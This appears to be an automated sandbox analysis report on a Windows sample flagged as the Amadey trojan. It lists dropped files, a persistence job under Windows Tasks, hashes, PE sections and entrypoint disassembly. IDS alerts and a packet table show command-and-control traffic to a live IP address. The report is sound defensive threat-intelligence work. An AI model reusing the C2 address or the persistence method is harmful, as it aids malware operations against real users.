Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2550784
Entropy (8bit):	7.985063298474285
Encrypted:	false
SSDEEP:	49152:C98LYAjSiVfhX2ecSVE1y8ISJCfCFisH2negHa93NdDKIQx+F:C0jjSiVZr28uosWegHwM+
MD5:	BC0F1D24F1C98FCD6E2116280B1F3F3D
SHA1:	AF5B3A8688C594F8CEA2915DECF5DD69AB8AF022
SHA-256:	0F3DD40065569D334BAA28F67143CEC736C0B42DFA265B9034376CADF69ACABC
SHA-512:	72FCEF84F1E1904049FEA465DA5C77009BC289E7383DC82C91A7D1B56B0A4D19F220D6EF48FF82E912028EC9906FEEB0AE4CF4452D1A38606448D80A7234B4A2
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....uf......................!...................@......................................@... .. .... .. .......... P.......]...............................P..........................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@............`y...#..(..................@....data.....".. ...."..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\user\Desktop\8vZMEr8sm9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1942528
Entropy (8bit):	7.951023980484486
Encrypted:	false
SSDEEP:	49152:0vGfBq3ndOzIxgNSqDsslj7MpDtGq4mzX:0vSkozImQqDssRMp7TzX
MD5:	44809186C26C6851B67BD98C5498F3CA
SHA1:	32DE1B7315ECF0F684CB5E3F5B6CCC8B77B214F5
SHA-256:	B6B7748DC00FC7AB14CA8ED870F992306AE599EA0AA199360B97337BDCC473F8
SHA-512:	80C31C6B5BC3DD6C7C6BE4301F37748E31906E27D19B217601B105BAD092AAB11C7A24BE7A9AD885B113FA24DC77775DF8200E2238C7CD91FCA19B9A05F40982
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af............................. M...........@..........................PM.....4Z....@.................................X...l.............................M...............................M..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...xdymjpys......2.....................@...poxsfwvj......M......~..............@....taggant.0... M.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\8vZMEr8sm9.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\explorti.job

Download File

Process:	C:\Users\user\Desktop\8vZMEr8sm9.exe
File Type:	data
Category:	dropped
Size (bytes):	310
Entropy (8bit):	3.5546600426947665
Encrypted:	false
SSDEEP:	6:rUWC8XpJUEZ+lX1QYShMl6lm6tcVAkXIEZ8MlW8+y0lOut0:rUWCGpJQ13vgFkXd8kX+VXt0
MD5:	324AA9C4346BD2B207310A316A1FBA2C
SHA1:	B6E05DB7C7FCB968CB60373344826CBC1CFF0B48
SHA-256:	E0B54104EF11C5A62D87E0AB783B47A2434BDB202135C815ED22DA079420C4F1
SHA-512:	4033344B8619E6CD31AAA6182B2956DB100B22EA42E50ED09C654DF7C9196D2291BAE157B7B977E6038D4A0FDA4F177D2CC694F28C4DB92552A95AAF6F09D7BD
Malicious:	false
Reputation:	low
Preview:	...........F....,...F.......<... .....s.......... ....................=.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.d.4.0.9.7.1.b.6.b.\.e.x.p.l.o.r.t.i...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.951023980484486
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8vZMEr8sm9.exe
File size:	1'942'528 bytes
MD5:	44809186c26c6851b67bd98c5498f3ca
SHA1:	32de1b7315ecf0f684cb5e3f5b6ccc8b77b214f5
SHA256:	b6b7748dc00fc7ab14ca8ed870f992306ae599ea0aa199360b97337bdcc473f8
SHA512:	80c31c6b5bc3dd6c7c6be4301f37748e31906e27d19b217601b105bad092aab11c7a24be7a9ad885b113fa24dc77775df8200e2238c7cd91fca19b9a05f40982
SSDEEP:	49152:0vGfBq3ndOzIxgNSqDsslj7MpDtGq4mzX:0vSkozImQqDssRMp7TzX
TLSH:	6E9533075E1735F6F0EBBA35926540123A9E32060BCD7C653F213632D86BD4F2568E7A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8d2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6661EA84 [Thu Jun 6 16:57:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F9B304ED57Ah
jc 00007F9B304ED593h
add byte ptr [eax], al
jmp 00007F9B304EF575h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0600000Ah], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a058	0x6c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4d09fc	0x10	xdymjpys
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4d09ac	0x18	xdymjpys
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2dc00	c49dcad103766f692b8cdf50777fb734	False	0.9983136953551912	data	7.985398137161333	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x1e0	0x200	adfc43c7b86276b8ab837dbd525661d9	False	0.580078125	data	4.4499485788167075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	6e66ae8f9a75bc604a087c954abf8737	False	0.15234375	data	1.0684380430289213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2bd000	0x200	e07027b2b173da8a2be87e6f741ccf2a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xdymjpys	0x328000	0x1a9000	0x1a8c00	8b94b864c768c0fcac8b4395877d48a8	False	0.9945768880591525	data	7.954592729390372	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
poxsfwvj	0x4d1000	0x1000	0x400	d91701dd45076e03b0f8e80bbf87940f	False	0.7431640625	data	5.810639568800832	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4d2000	0x3000	0x2200	37a0ab2445e181f17ecffdf126ce751a	False	0.06146599264705882	DOS executable (COM)	0.8180231466382912	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4d0a0c	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/30/24-10:22:28.326765	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49703	80	192.168.2.7	77.91.77.82
06/30/24-10:23:21.253594	TCP	2044623	ET TROJAN Amadey Bot Activity (POST)	57434	80	192.168.2.7	77.91.77.82
06/30/24-10:23:03.219381	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	57424	77.91.77.82	192.168.2.7

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 30, 2024 10:22:27.306735039 CEST	49703	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.306308985 CEST	49703	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.322402000 CEST	80	49703	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:28.326445103 CEST	49703	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.326765060 CEST	49703	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.367104053 CEST	80	49703	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:28.460349083 CEST	80	49703	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:28.462650061 CEST	49704	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.468147993 CEST	80	49704	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:28.468240976 CEST	49704	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.468444109 CEST	49704	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.475533962 CEST	80	49704	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:28.723341942 CEST	80	49704	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:28.841404915 CEST	49705	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.848274946 CEST	80	49705	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:28.848494053 CEST	49705	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.848638058 CEST	49705	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.856937885 CEST	80	49705	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:28.872512102 CEST	80	49705	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:28.888787985 CEST	49706	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.897831917 CEST	80	49706	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:28.897919893 CEST	49706	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.898185015 CEST	49706	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:28.908807039 CEST	80	49706	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:28.937994957 CEST	80	49706	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:29.043118000 CEST	49707	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:29.142100096 CEST	80	49707	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:29.142245054 CEST	49707	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:29.142494917 CEST	49707	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:29.241743088 CEST	80	49707	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:29.244472027 CEST	80	49707	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:29.246783018 CEST	49708	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:29.283317089 CEST	80	49708	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:29.283658028 CEST	49708	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:29.283658028 CEST	49708	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:29.297945023 CEST	80	49708	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:29.359977961 CEST	80	49708	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:29.464910030 CEST	49709	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.462538004 CEST	49709	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.468432903 CEST	80	49709	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:30.468524933 CEST	49709	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.475045919 CEST	49709	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.485004902 CEST	80	49709	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:30.501867056 CEST	80	49709	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:30.514504910 CEST	49710	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.520508051 CEST	80	49710	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:30.520694017 CEST	49710	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.520895958 CEST	49710	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.529913902 CEST	80	49710	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:30.529922962 CEST	80	49710	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:30.636050940 CEST	49711	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.641681910 CEST	80	49711	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:30.641782045 CEST	49711	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.641906023 CEST	49711	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.648830891 CEST	80	49711	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:30.756927967 CEST	80	49711	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:30.759490967 CEST	49712	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.764357090 CEST	80	49712	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:30.764477015 CEST	49712	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.764605999 CEST	49712	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:30.769824028 CEST	80	49712	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:30.896662951 CEST	80	49712	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.010358095 CEST	49713	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.090692997 CEST	80	49713	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.090862036 CEST	49713	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.091065884 CEST	49713	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.197887897 CEST	80	49713	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.198331118 CEST	80	49713	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.199326038 CEST	49714	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.276814938 CEST	80	49714	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.276987076 CEST	49714	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.277122974 CEST	49714	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.308521032 CEST	80	49714	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.322321892 CEST	80	49714	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.433545113 CEST	49715	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.439558029 CEST	80	49715	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.439685106 CEST	49715	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.439794064 CEST	49715	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.444799900 CEST	80	49715	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.498186111 CEST	80	49715	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.499291897 CEST	49716	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.504750967 CEST	80	49716	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.504848957 CEST	49716	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.504985094 CEST	49716	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.511538982 CEST	80	49716	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.544151068 CEST	80	49716	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.651804924 CEST	49717	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.664798021 CEST	80	49717	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.665002108 CEST	49717	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.665108919 CEST	49717	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.677705050 CEST	80	49717	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.691082001 CEST	80	49717	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.693413973 CEST	49718	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.698864937 CEST	80	49718	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.698968887 CEST	49718	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.699117899 CEST	49718	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.704518080 CEST	80	49718	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.730926037 CEST	80	49718	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.838737965 CEST	49719	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.843796015 CEST	80	49719	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.843899965 CEST	49719	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.844033003 CEST	49719	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.849410057 CEST	80	49719	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.869311094 CEST	80	49719	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.870299101 CEST	49720	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.879338026 CEST	80	49720	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.879431009 CEST	49720	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.879547119 CEST	49720	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:31.885399103 CEST	80	49720	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:31.900038958 CEST	80	49720	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.012073994 CEST	49721	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.017404079 CEST	80	49721	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.017657995 CEST	49721	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.017863989 CEST	49721	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.023310900 CEST	80	49721	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.023423910 CEST	49721	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.023520947 CEST	80	49721	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.024180889 CEST	49721	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.024983883 CEST	49722	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.029058933 CEST	80	49721	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.029807091 CEST	80	49721	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.029927015 CEST	80	49722	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.030038118 CEST	49722	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.030210972 CEST	49722	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.035635948 CEST	80	49722	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.035706997 CEST	49722	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.035732031 CEST	49722	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.035927057 CEST	80	49722	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.040730953 CEST	80	49722	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.040786982 CEST	80	49722	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.151046991 CEST	49723	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.156816959 CEST	80	49723	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.157000065 CEST	49723	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.157227039 CEST	49723	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.163532972 CEST	80	49723	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.168517113 CEST	80	49723	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.171148062 CEST	49724	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.192318916 CEST	80	49724	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.192467928 CEST	49724	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.192580938 CEST	49724	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.220077991 CEST	80	49724	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.220992088 CEST	80	49724	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.323021889 CEST	49725	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.382724047 CEST	80	49725	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.382844925 CEST	49725	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.386198997 CEST	49725	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.462057114 CEST	80	49725	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.462352991 CEST	49725	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.462412119 CEST	49725	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.462708950 CEST	80	49725	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.463335991 CEST	49726	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.498086929 CEST	80	49725	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.498090982 CEST	80	49725	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.498471975 CEST	80	49726	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.498591900 CEST	49726	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.498730898 CEST	49726	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.508291006 CEST	80	49726	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.568099022 CEST	80	49726	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.685862064 CEST	49727	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.693442106 CEST	80	49727	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.693504095 CEST	49727	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.693773031 CEST	49727	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.703941107 CEST	80	49727	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.738334894 CEST	80	49727	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.739214897 CEST	49728	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.745731115 CEST	80	49728	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.745812893 CEST	49728	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.745927095 CEST	49728	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.753840923 CEST	80	49728	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.779855967 CEST	80	49728	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.885401964 CEST	49729	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.890799999 CEST	80	49729	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:32.890954971 CEST	49729	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.891051054 CEST	49729	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:32.895970106 CEST	80	49729	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:33.058826923 CEST	80	49729	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:33.061600924 CEST	49730	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:33.069163084 CEST	80	49730	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:33.069253922 CEST	49730	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:33.069406033 CEST	49730	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:22:33.074624062 CEST	80	49730	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:33.118335009 CEST	80	49730	77.91.77.82	192.168.2.7
Jun 30, 2024 10:22:33.230989933 CEST	49733	80	192.168.2.7	77.91.77.82
